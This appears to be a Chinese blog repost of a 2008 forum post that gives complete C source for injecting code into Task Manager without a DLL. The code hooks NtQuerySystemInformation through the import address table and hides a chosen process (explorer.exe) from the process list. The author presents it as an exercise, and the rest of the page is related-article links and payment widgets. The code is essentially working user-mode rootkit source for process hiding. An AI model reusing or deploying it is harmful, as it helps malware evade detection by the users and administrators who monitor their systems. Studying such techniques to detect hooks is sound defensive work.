IAT HOOK 代码注入非DLL

代码注入 API HOOK(非DLL) 使用代码注入来实现进程隐藏  而不是使用DLL注入来实现进程隐藏  没有什么高级技术  纯体力活  原理就不说了  只是没有通过DLL注入  来实现HOOK API从核心编程 以来  似乎 一提到C注入 就是DLL注入 很奇怪 为什么没人写个完整的代码注入所以 自己动手写了下纯粹注入代码   邪恶二进制上 也有个代码注入的 只是用了一个未公开的函数,我还看不懂= =本来想用汇编写的  发现汇编注入 阅读详情
 作 者: 徐大力
时 间: 2008-10-13,15:26
链 接: http://bbs.pediy.com/showthread.php?t=74569

使用代码注入来实现进程隐藏  而不是使用DLL注入来实现进程隐藏
没有什么高级技术  纯体力活  原理就不说了  只是没有通过DLL注入  来实现HOOK API
纯粹注入代码   邪恶二进制上 也有个代码注入的 只是用了一个未公开的函数,我还看不懂
= =本来想用汇编写的  发现汇编注入代码远比C注入代码来的繁  所以用C实现了
主要功能就是 隐藏进程   不过RING3的似乎没多大用  练习而已
代码如下:
//需要编译成release版本  DEBUG版本 对函数生成的跳转地址表
//jmp xxxxx  写入远程进程的时候xxxxx等于写入了一个全局变量
// 程序必然崩溃
#include "Iat_Hook.h"


char cPath[] = "taskmgr.exe";

void main(void)
{
  //定义变量
  DWORD dwPid;
  HANDLE hProcess;
  DWORD dwSize = 2048;
  PVOID pRemoteAddress, pRemoteStructAddress,MyAddress;
  REMOTESTRUCT stRemoteStruct;

  //遍历进程 寻找taskmgr.exe进程ID
    dwPid = GetProcessPid(cPath);

  // open process 得到进程句柄
  hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
  if(hProcess == NULL)
  {
    printf("open error code %d/n",GetLastError());
    return;
  }
  
  //写入 替代函数
  MyAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProcess, MyAddress, myNtQuerySystemInformation, dwSize, NULL);

  //初始化结构
  InitializeStruct(&stRemoteStruct, (DWORD)MyAddress, dwPid);

  //写入结构
  pRemoteStructAddress = VirtualAllocEx(hProcess, NULL, sizeof(REMOTESTRUCT), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProcess, pRemoteStructAddress, &stRemoteStruct, sizeof(REMOTESTRUCT), NULL);

  //写入远程线程函数
  pRemoteAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProcess, pRemoteAddress, RemoteThread, dwSize, NULL);

  //创建远程线程
  CreateRemoteThread(hProcess, NULL, 0, pRemoteAddress,pRemoteStructAddress, 0, 0);
  CloseHandle(hProcess);
}

DWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct)
{
  FARPROC fpVirtualQuery;
  FARPROC fpVirtualProtect;
  FARPROC fpOpenProcess;
  FARPROC fpEnum;
  FARPROC fpGetProcAddress;
  FARPROC fpLoadLibrary;
  FARPROC fpFreeLibrary;
  FARPROC fpWriteMemory;
  FARPROC fplstrcmp;

  HANDLE hProcess = NULL;
  HMODULE hMods[256];
  DWORD dwNeed;
  HANDLE hPsapi;
  MEMORY_BASIC_INFORMATION stMem;
  HMODULE hKernel, hModule;
  PIMAGE_NT_HEADERS pImageNtHeaders;
  PIMAGE_OPTIONAL_HEADER pImageOptionalHeader;
  IMAGE_DATA_DIRECTORY ImageImport;
  PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor;
  PIMAGE_THUNK_DATA pImageThunkData;
  DWORD oldProtect;
  wchar_t *p = pRemoteStruct->cProcessName;

  //初始化函数指针
  fpVirtualQuery = (FARPROC)pRemoteStruct->dwVirtualQuery;
  fpVirtualProtect = (FARPROC)pRemoteStruct->dwVirtualProtect;
  fpOpenProcess = (FARPROC)pRemoteStruct->dwOpenProcess;
  fpLoadLibrary = (FARPROC)pRemoteStruct->dwLoadLibrary;
  fpFreeLibrary = (FARPROC)pRemoteStruct->dwFreeLibrary;
  fpGetProcAddress = (FARPROC)pRemoteStruct->dwGetProcAddress;
  fpWriteMemory = (FARPROC)pRemoteStruct->dwWriteProcessMemory;
  fplstrcmp = (FARPROC)pRemoteStruct->dwlstrcmp;

  //得到进程句柄
  hProcess =(HANDLE)fpOpenProcess(PROCESS_ALL_ACCESS, FALSE, pRemoteStruct->dwPid);
  if(!hProcess)
    return 0;

  //得到模块基址 模块基址存放于hMods[0]
  hPsapi = (HANDLE)fpLoadLibrary(pRemoteStruct->cDllName);
  fpEnum = (FARPROC)fpGetProcAddress(hPsapi, pRemoteStruct->cFunName);
  fpEnum(hProcess, hMods, sizeof(hMods), &dwNeed);
  fpFreeLibrary(hPsapi);
  hModule = hMods[0];

  //改变内存属性  因为采用的不是DLL插入 NtQuerySystemInformation的原始地址无法通过
  //全局变量传递给 替代函数 这里通过把函数地址写入kernel的PE头 来实现 这样只需要在替代函数中读出地址就可以了
  hKernel = (HANDLE)fpLoadLibrary(pRemoteStruct->cKernel);
  fpVirtualQuery(hKernel,&stMem, sizeof (MEMORY_BASIC_INFORMATION));
  fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, PAGE_READWRITE, &stMem.Protect);
  fpWriteMemory(hProcess, (PBYTE)(hKernel)+4, &pRemoteStruct->dwNtQuerySystem, sizeof(DWORD), NULL);
  fpWriteMemory(hProcess, (PBYTE)(hKernel)+8, &pRemoteStruct->dwlstrcmpW, sizeof(DWORD), NULL);
  fpWriteMemory(hProcess, (PBYTE)(hKernel)+0x14, &p, sizeof(DWORD), NULL);
  fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, stMem.Protect, &oldProtect);

  //查找导入表 找到存放NtQuerySystemInformation
  pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)*((PBYTE)hModule+0x3c) + (DWORD)hModule);
  pImageOptionalHeader = &pImageNtHeaders->OptionalHeader;
    ImageImport = pImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
  pImageImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(ImageImport.VirtualAddress + (DWORD)hModule);

  while(pImageImportDescriptor->Name)
  {
    if(0 == fplstrcmp(pRemoteStruct->cNtdll, (PSTR)(pImageImportDescriptor->Name + (DWORD)hModule)))
    {      
      break;
    }
    pImageImportDescriptor++;
  }
  //替换 NtQuerySystemInformation的地址
  pImageThunkData = (PIMAGE_THUNK_DATA)(pImageImportDescriptor->FirstThunk + (DWORD)hModule);
  while(pImageThunkData->u1.Function)
  {
    if(pImageThunkData->u1.Function == pRemoteStruct->dwNtQuerySystem)
    {
      fpVirtualQuery(&pImageThunkData->u1.Function, &stMem, sizeof (MEMORY_BASIC_INFORMATION));
      fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, PAGE_READWRITE, &stMem.Protect);
      pImageThunkData->u1.Function =  pRemoteStruct->dwMyAddress;
      break;
    }
    pImageThunkData++;
  }
  fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, stMem.Protect, &oldProtect);
  return 0;
}

NTSTATUS WINAPI myNtQuerySystemInformation  (
              SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
          ULONG SystemInformationLength,
                PULONG ReturnLength)
{
  HANDLE hKernel;
  NTSTATUS ntStatus;
  wchar_t *pName;
  PSYSTEM_PROCESS_INFORMATION pCurrent, pForward;

  FARPROC fpNtQuerySystem;
  FARPROC fplstrcmpW;

  //寻找kernel32的基址  准备读取需要用到的函数地址
  _asm 
  {
    mov eax,fs:[0x30]
    mov eax,[eax+0xc]
    mov ecx,[eax+0x1c]
    mov ecx, [ecx]
    mov eax, [ecx+8]
    mov hKernel,eax
  }
  //取得函数地址
  fpNtQuerySystem = *(FARPROC *)((DWORD)hKernel + 4);
  fplstrcmpW = *(FARPROC *)((DWORD)hKernel + 8);
  //取得 需隐藏的进程名
  pName = *(wchar_t **)((DWORD)hKernel + 0x14);

  ntStatus = (NTQUERYSYSTEMINFORMATION)fpNtQuerySystem(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
  if (SystemProcessesAndThreadsInformation == SystemInformationClass)
  {
    pForward = NULL;
    pCurrent = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
    while(pCurrent->NextEntryDelta)//检验是否到 最后一个进程结构
    {
      if(pCurrent->ProcessName.Buffer)
      {
        //_asm int 3
        if(0 == fplstrcmpW(pCurrent->ProcessName.Buffer, pName))
        {
          if(pForward)
          {
            if(pCurrent->NextEntryDelta)//隐藏的进程在链表中间              
            {
              pForward->NextEntryDelta += pCurrent->NextEntryDelta;
            }
            else//隐藏的进程在链表末端
              pForward->NextEntryDelta = 0;
          }
          else //要隐藏的进程在链表头时
          {
            if(pCurrent->NextEntryDelta)
            {
              SystemInformation = (PBYTE)pCurrent + pCurrent->NextEntryDelta;
            }
            else
              SystemInformation = NULL;
          }
        }
      }
        pForward = pCurrent;
        pCurrent = (PSYSTEM_PROCESS_INFORMATION)(pCurrent->NextEntryDelta + (PBYTE)pForward);
    }
    //_asm int 3
  }
  return ntStatus;
}


//得到进程PID
DWORD GetProcessPid(char *cPath)
{
  PROCESSENTRY32 stProcess;
  HANDLE hSnap;
  BOOL bRet;
  hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if(hSnap == INVALID_HANDLE_VALUE)
  {
    printf("error/n");
    return 0;
  }
  stProcess.dwSize = sizeof (PROCESSENTRY32);
  bRet = Process32First(hSnap, &stProcess);
  if(!bRet)
  {
    printf("first error/n");
    return 0;
  }
  do
  {
    if(0 == strcmp(stProcess.szExeFile, cPath)) //find  process of target
    {
      break;
    }
  }while(Process32Next(hSnap, &stProcess));

  //确认 是否找到 目标进程
  if(0 != strcmp(stProcess.szExeFile, "taskmgr.exe"))
  {
    printf("can not find process/n");
    return 0;
  }
  CloseHandle(hSnap);
  return stProcess.th32ProcessID;
}

VOID InitializeStruct(PREMOTESTRUCT pRemoteStruct, DWORD MyAddress, DWORD dwPid)
{
  HANDLE hNtdll;
  HANDLE hKernel;

  hNtdll = LoadLibrary("ntdll.dll");
  pRemoteStruct->dwNtQuerySystem = (DWORD)GetProcAddress(hNtdll, "NtQuerySystemInformation");
  FreeLibrary(hNtdll);

  hKernel = LoadLibrary("kernel32.dll");
  pRemoteStruct->dwVirtualProtect = (DWORD)GetProcAddress(hKernel, "VirtualProtect");
  pRemoteStruct->dwVirtualQuery = (DWORD)GetProcAddress(hKernel, "VirtualQuery");
  pRemoteStruct->dwOpenProcess = (DWORD)GetProcAddress(hKernel, "OpenProcess");
  pRemoteStruct->dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
  pRemoteStruct->dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
  pRemoteStruct->dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
  pRemoteStruct->dwWriteProcessMemory = (DWORD)GetProcAddress(hKernel, "WriteProcessMemory");
  pRemoteStruct->dwlstrcmp = (DWORD)GetProcAddress(hKernel, "lstrcmpA");
  pRemoteStruct->dwlstrcmpW = (DWORD)GetProcAddress(hKernel, "lstrcmpW");
  FreeLibrary(hKernel);
  
  pRemoteStruct->dwMyAddress = MyAddress;
  pRemoteStruct->dwPid = dwPid;
  strcpy(pRemoteStruct->cDllName, "Psapi.dll");
  strcpy(pRemoteStruct->cFunName, "EnumProcessModules");
  strcpy(pRemoteStruct->cKernel,"Kernel32.dll");
  strcpy(pRemoteStruct->cNtdll, "ntdll.dll");
        //要隐藏的进程名
  wcscpy(pRemoteStruct->cProcessName, L"explorer.exe");
}

Iat_Hook.h

//头文件
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <imagehlp.h>
#include "Winternl.h"

#pragma comment(lib, "imagehlp")
//类型声明

typedef int NTSTATUS;
typedef BOOL (__stdcall *ENUMPROCESSMODULES)(
            HANDLE hProcess,
            HMODULE* lphModule,
            DWORD cb,
            LPDWORD lpcbNeeded
);

typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
            SYSTEM_INFORMATION_CLASS SystemInformationClass,
            PVOID SystemInformation,
            ULONG SystemInformationLength,
            PULONG ReturnLength
);

typedef struct _REMOTE_STRUCT
{
  DWORD dwNtQuerySystem;
  DWORD dwVirtualQuery;
  DWORD dwVirtualProtect;
  DWORD dwOpenProcess;
  DWORD dwMessageBox;
  DWORD dwLoadLibrary;
  DWORD dwGetProcAddress;
  DWORD dwFreeLibrary;
  DWORD dwWriteProcessMemory;
  DWORD dwlstrcmp;
  DWORD dwlstrcmpW;
  DWORD dwEnum;
  DWORD dwMyAddress;
  DWORD dwPid;
  char cDllName[50];
  char cFunName[50];
  char cKernel[50];
  char cNtdll[50];
  wchar_t cProcessName[50];//要隐藏的进程名
}REMOTESTRUCT, *PREMOTESTRUCT;

//函数声明
DWORD GetProcessPid(char *cPath);
DWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct);
VOID InitializeStruct(PREMOTESTRUCT pRemoteStruct, DWORD MyAddress, DWORD dwPid);
NTSTATUS WINAPI myNtQuerySystemInformation  (
              SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
          ULONG SystemInformationLength,
                PULONG ReturnLength);

Winternl.h

typedef struct _UNICODE_STRING { 
  USHORT Length; 
  USHORT MaximumLength; 
  PWSTR  Buffer;                 //注意,这里为Unicode类型
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESS_INFORMATION  
{  
    DWORD NextEntryDelta;  
    DWORD dThreadCount;  
    DWORD dReserved01;  
    DWORD dReserved02;  
    DWORD dReserved03;  
    DWORD dReserved04;  
    DWORD dReserved05;  
    DWORD dReserved06;  
    FILETIME ftCreateTime; /* relative to 01-01-1601 */  
    FILETIME ftUserTime; /* 100 nsec units */  
    FILETIME ftKernelTime; /* 100 nsec units */  
    UNICODE_STRING ProcessName;      //这就是进程名
    DWORD BasePriority;  
    DWORD dUniqueProcessId;            //进程ID
    DWORD dParentProcessID;  
    DWORD dHandleCount;  
    DWORD dReserved07;  
    DWORD dReserved08;  
    DWORD VmCounters;  
    DWORD dCommitCharge;  
    PVOID ThreadInfos[1]; 
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

后记:第一次没有照着书 打代码  也找不到C 注入代码的例子 能找到的都是DLL注入
原理早就知道了  真的写一遍 不容易 
整个编写的过程 碰到了很多问题 最终都解决了  轻松了
Rust实战:通过DLL注入与IAT Hook技术拦截Windows API调用 本文详细介绍了如何使用Rust语言实现Windows平台下的DLL注入与IAT Hook技术,以拦截并修改目标进程对特定API(如MessageBoxW)的调用。通过实战代码解析,阐述了Rust在系统编程中的内存安全优势、DLL入口点编写、IAT遍历与地址替换原理,以及远程线程注入的具体步骤,为开发者提供了一套安全、高效的API拦截解决方案。 阅读详情

相关推荐

Windows Dll注入与API HOOK

DLL注入: 1.      使用注册表注入dll HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs AppInit_Dlls中设置待注入的dll绝对路径 LoadAppInit_Dlls值设为1 2.      使用Windows挂钩注入dll 需要使用SetWind

小黑话不多 3173

5种典型 API 攻击及预防建议

任何设计和代码都难以避免错误,安全技术也是如此。有时软件的结构,哪怕是根据相应规范设计的,都可能有被滥用技术利用的风险。OWASP 这样定义软件 “滥用(abuse)”:创建误用和滥用案例以滥用或利用软件功能中控件的弱点来攻击应用程序。使用应用程序的滥用案例模型,作为识别直接或间接利用滥用场景的具体安全测试的媒介。简而言之,滥用案例模型在某种程度上是威胁建模。API 对于构建坚固且持续的通信桥梁至关重要,该桥梁使设备能够无缝传递所需信息。然而黑客采用多种方式来利用。

ALLEN'Blog 897

Windows Hook经验总结之一:API Hook方法汇总

HOOK的目的是用我们自己的代码取代一些函数的代码以改变程序的行为。 静态HOOK:在进程运行前挂钩,采用用户级进程即可完成。比如:有些程序会在启动时需要原光盘,如果我们修改获取驱动类型的函数则可以从硬盘启动。 动态HOOK:挂钩系统进程(如服务)时要动态挂钩 本文介绍常见的hook方法和实现机制。

ITer之家 5749

Python 渗透测试:利用SQLmap API接口进行批量的SQL注入检测.(SRC挖掘)

Python 开发学习的意义: (1)学习相关安全工具原理. (2)掌握自定义工具及拓展开发解决实战中无工具或手工麻烦批量化等情况. (3)在二次开发 Bypass,日常任务,批量测试利用等方面均有帮助.

网络安全领域___专研者. 8134

[Win32] API Hook(1)在32位系统上的实现

本博文由优快云博主zuishikonghuan所作,版权归zuishikonghuan所有,转载请注明出处: API Hook技术,虽然很老了,但是依旧是很有用的技术,同时网上的资料往往不能直接拿过来用,c语言的太少。这回呢,我要用C语言来完整的编写一个Win32SDK编程的API Hook源码,但是我还是用cpp保存编译,为哈?因为微软对c语言标准支持的很不好,我不知道vs2013支持c

zuishikonghuan的博客 9610

24、API 注入攻击:XSS、XAS、SQL 与 NoSQL 注入解析

本文深入解析了API安全领域中常见的注入攻击类型,包括跨站脚本攻击(XSS)、跨API脚本攻击(XAS)、SQL注入和NoSQL注入。通过详细分析每种攻击的原理、检测方法和实际案例,帮助读者全面了解注入攻击的威胁和应对策略。同时,文章还总结了防御注入攻击的最佳实践,并探讨了未来API安全的发展趋势,为保障数字业务稳定运行提供了实用的参考。

blue的专栏 330

API注入原理

由于需要用到关于windows虚拟内存的管理、打破进程边界墙、向应用程序的进程空间中注入代码、pe(portable executable)文件格式和iat(输入地址表)等较底层的知识,所以我对涉及到的这些知识大概地做一个介绍。 先说windows虚拟内存的管理。windows9x给每一个进程分配了4gb的地址空间,对于nt来说,这个数字是2gb,系统保留了2gb到 4gb之间的地址空间禁止进程访

铜板的专栏 4015

API远程注入_库

该程序属于远程注入一类的,本人曾经使用该示例代码对某个软件的API获取MAC地址调用进行过篡改;是该软件得到MAC地址为自定义可控MAC地址;不多说了,下载之后自己修修改该就可以用了;呵呵呵呵;<br>注意这是库,和应用程序工程配合使用

【第38节】windows原理:DLL注入与Hook是什么

Hook 技术,中文叫钩子技术,本质上是在程序运行过程中,拦截特定事件或函数调用,改变其执行路径,插入自定义代码,来实现特定功能的一种编程技术。Hook在程序设计中是一种灵活多变的技术手段,它主要用于改变程序原有的执行流程,让程序执行开发者自己定义的代码。在Windows系统下,Hook有两种含义,一是系统提供的消息Hook机制,由一系列API提供服务,通过这些API可以对大多数应用程序的关键节点进行Hook操作,Windows会为每种Hook类型维护一个钩子链表;

攻城狮7号的博客 5204

用Arduino Mega2560和TB6612驱动MG513电机,我踩过的坑和最佳实践

本文详细介绍了使用Arduino Mega2560和TB6612驱动模块控制MG513直流电机的实战经验,包括硬件连接、PWM配置、编码器信号处理等关键技巧。通过优化电源系统、信号线布局和软件控制算法,有效解决了电机抖动、转速不稳等常见问题,为机器人底盘和自动化项目提供了可靠解决方案。

weixin_42520573的博客 202

WinInet 编程:MFC 中的互联网编程

WinInet 是一套 Windows API(应用程序编程接口),用于实现互联网应用程序的网络通信和数据传输。WinInet 抽象了底层网络协议和硬件细节,为程序员提供了一套统一的接口,简化了互联网应用程序的开发过程。WinInet 广泛应用于各种 Windows 应用程序中,包括网页浏览器、下载管理器、网络游戏等。MFC WinInet 是一套强大的类库,为 MFC 程序员提供了在 Windows 平台上实现互联网通信和数据传输的工具。

JAZJD的博客 1638

Hook技术:通过Dll注入Hook IAT让计算器显示中文数字(附源码)

计算机的计算器是我们常用的一个小工具(小时候,总是计算机计算器分不开来,哈哈)。 众所周知,计算器在计算的过程中,显示的都是阿拉伯数字,因为阿拉伯数字是一个全世界通用的表示方法,那么如何让计算器显示中文数字"一、二、三......"呢? 这里我们就可以使用Dll注入去hook关键API实现**计算器显示中文数字**。

weixin_43742894的博客 3419

(头歌作业)—6.1 葡萄酒评论分析报告(project)

请读取文件中的数据,完成以下任务:‪‬‪‬‪‬‪‬‪‬‮‬‪‬‭‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‫‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‪‬。请读取文件中的数据,完成以下任务:‪‬‪‬‪‬‪‬‪‬‮‬‪‬‭‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‫‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‪‬。请读取文件中的数据,完成以下任务:‪‬‪‬‪‬‪‬‪‬‮‬‪‬‭‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‫‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‪‬。

2301_80677920的博客 1246

代码注入之Hook注入

介绍通过Hook实现代码注入的方法,具体给出了两种非代码Hook方式的具体实现,即Hook内核回调表和Hook IP寄存器,最后给出了检测这类Hook的建议。

leegh0000的博客 2151

【MMDetection3.0实战】从零构建自定义数据集训练流程

本文详细介绍了使用MMDetection3.0框架从零开始构建自定义目标检测数据集的完整训练流程。内容涵盖环境配置、COCO格式数据准备、核心代码改造、模型配置与训练策略调优,以及最终的模型测试与验证,帮助开发者快速上手并训练自己的检测模型。

l6m7n8的博客 314

用STM32F103单片机控制电调制动无刷电机

用电调控制无刷电机制作遥控飞艇 蓝牙控制 调控电调 无刷电机 用电调控制无刷电机制作遥控飞艇 代码区 mian.c #include "delay.h" #include "sys.h" #include "usart.h" #include "usart3.h" #include "timer.h" #include "led.h" #include "key.h" int main(v...

子非鱼 的博客 2万+

IAT Hook 原理分析与代码编写

首先第一处浅红色部分就是导出表的地址与大小,默认情况下只有DLL文件才会导出函数所以此处为零,第二处深红色位置为导入表地址而后面的黄色部分则为导入表的大小,继续向下第三处浅蓝色部分则为资源表地址与大小,第四处棕色部分就是基址重定位表的地址,默认情况下只有DLL文件才会重定位,最下方的蓝色部分是IAT表的地址,后面的黄色为IAT表的大小。如上所示,可以看到该程序一共有3个导入结构分别是红紫黄色部分,最后是一串零结尾的字符串,标志着导入表的结束,我们以第1段红色部分为例,最后一个地址偏移。

微软技术分享 6029

HFSS 3D Layout仿真PCB操作说明

本文介绍一种特别适合PCB这种叠层结构的仿真软件,HFSS 3D Layout既有操作的简便性,又有同3D软件仿真所有的精确性,仿真速度上又比3D软件快很多。

sinat_15150363的博客 3944

[dll注入实现IAT勾取] 计算器显示中文

勾取dll源码详解: 首先在创建时候来保存原始IAT地址到全局变量,然后通过Hook_iat函数来进行iat函数的勾取 BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch( fdwReason ) { case D...

diheqiu3577的博客 1091

如何在 DevOps 管道中实现 AI?

AI与DevOps的融合(AIOps)正在重塑软件开发生命周期。本文系统阐述了AI在DevOps中的五大应用场景:智能监控、自动化测试、安全防护、CI/CD优化和事件管理,并提出了六步实施框架:痛点识别、工具选型、流程集成、智能监控、MLOps和治理合规。通过Netflix、Google等企业的实践案例,验证了AI在提升部署效率(降低40%故障率)、缩短问题解决时间(MTTR减少60%)方面的显著价值,同时指出数据质量、模型偏差等实施挑战。研究表明,战略性地

介绍AWS Azure GCP devops Terraform 等技术 497

商品标签识别系统:基于YOLO系列的深度学习实现

随着零售行业的快速发展和自动化需求的增长,商品标签识别技术变得越来越重要。本文详细介绍了一个完整的商品标签识别系统,该系统基于YOLO系列目标检测算法(包括YOLOv5、YOLOv8和YOLOv10),采用PySide6构建用户界面,并提供完整的训练代码和数据集处理方案。该系统能够准确识别商品标签中的关键信息,如价格、条形码、生产日期等,为零售自动化、库存管理和智能结算提供技术支持。

YOLO 349

IAT Hook

Chook Hook 三步走 WFH 1. WHRER 你要hook的函数(地址) 2. FIND 找到你的函数地址 3. HOOK 这个函数 作用 修改数据(修改参数,修改返回值) 改变被hook函数行为 考虑这种情况 只能返回 加密后的变量x, 如果我们想要 函数里边的x 修改或者监控 ,怎么办呢? 找到dll , 修改这个dll的功能。 导入表结构IAT表 程序加载前 程序加载后(IAT表会断裂 成真正的函数地址) 不要管 ring0 和 ring 3 ,IAT hook 都这

stmlg的博客 488

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

上一篇: winbootmgr.cpp
下一篇: 软件安全测试(fuzz)之大家一起学1: fuzz platform架构
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值